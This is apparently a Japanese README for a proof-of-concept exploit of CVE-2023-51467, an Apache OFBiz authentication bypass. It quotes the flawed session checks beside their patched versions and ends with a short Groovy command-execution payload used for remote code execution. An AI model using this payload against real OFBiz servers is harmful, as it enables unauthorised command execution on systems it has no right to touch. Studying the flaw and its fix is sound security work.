
CVE-2023-51467 POC
exp.py をコマンド実行に変更
シリアル化脆弱性の悪用
認証バイパスのテスト
認証チェックで誤って null を使用して判定しているため、この方法は効果がなく、認証がバイパスされてしまいます。
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");
if (UtilValidate.isEmpty(username)) username = (String) session.getAttribute("USERNAME");
if (UtilValidate.isEmpty(password)) password = (String) session.getAttribute("PASSWORD");
if (UtilValidate.isEmpty(token)) token = (String) session.getAttribute("TOKEN");
直接コマンド実行を分析した方もいますが、これには Groovy フィルターの回避が必要です。 あるいは、より良い実行エントリポイントはないでしょうか。 rce.txt
def process = cmd.execute()
process.waitFor()
println "Exit code: ${process.exitValue()}"
println "Output:\n${process.text}"```
## 参考
https://github.com/apache/ofbiz-framework/commit/47e7959065b82b170da5c330ed5c17af16415ede#diff-68decfd4946b8ef0adcc4c7f18b938aec4a07ff7ce64609a2691ba88a4688607
https://mp.weixin.qq.com/s/vdyqfm0FkbKp5W2LilhbXA
不正な目的に使用しないでください。